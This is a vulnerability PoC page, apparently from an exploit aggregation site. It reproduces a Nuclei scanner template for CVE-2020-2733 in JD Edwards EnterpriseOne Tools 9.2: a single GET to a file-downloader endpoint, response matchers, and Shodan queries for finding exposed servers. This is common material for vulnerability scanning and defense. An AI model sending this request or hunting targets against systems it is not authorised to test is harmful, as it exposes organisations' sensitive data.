BiuPoC

CVE-2020-2733: JD Edwards EnterpriseOne Tools 9.2 - Information Disclosure

2025-08-01 JD Edwards EnterpriseOne Tools 9.2 PoC Public

Description

JD Edwards EnterpriseOne Tools 9.2 is susceptible to information disclosure via the Monitoring and Diagnostics component. An attacker with network access via HTTP can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.

PoC

id: CVE-2020-2733

info:
  name: JD Edwards EnterpriseOne Tools 9.2 - Information Disclosure
  author: DhiyaneshDk,pussycat0x
  severity: critical
  description: |
    JD Edwards EnterpriseOne Tools 9.2 is susceptible to information disclosure via the Monitoring and Diagnostics component. An attacker with network access via HTTP can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  impact: |
    Successful exploitation of this vulnerability could lead to unauthorized access to sensitive information.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to mitigate this vulnerability.
  reference:
    - https://redrays.io/cve-2020-2733-jd-edwards/
    - https://www.oracle.com/security-alerts/cpuapr2020.html
    - https://nvd.nist.gov/vuln/detail/CVE-2020-2733
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-2733
    epss-score: 0.18645
    epss-percentile: 0.97197
    cpe: cpe:2.3:a:oracle:jd_edwards_enterpriseone_tools:9.2:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: oracle
    product: jd_edwards_enterpriseone_tools
    shodan-query:
      - port:8999 product:"Oracle WebLogic Server"
      - port:8999 product:"oracle weblogic server"
  tags: cve2020,cve,oracle,weblogic,disclosure,exposure,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/manage/fileDownloader?sec=1'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'ACHCJK'

      - type: word
        part: header
        words:
          - "text/plain"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100892788d9f55e53da6eddb51186d239b72b2c2cfd06cf74df6d07052e212cef58022100cd184ac4bbde75d1c836b8323b12d14ad5f0747b839261c6d1ddb10bda7b6c99:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2020/CVE-2020-2733.yaml

References

Related Vulnerabilities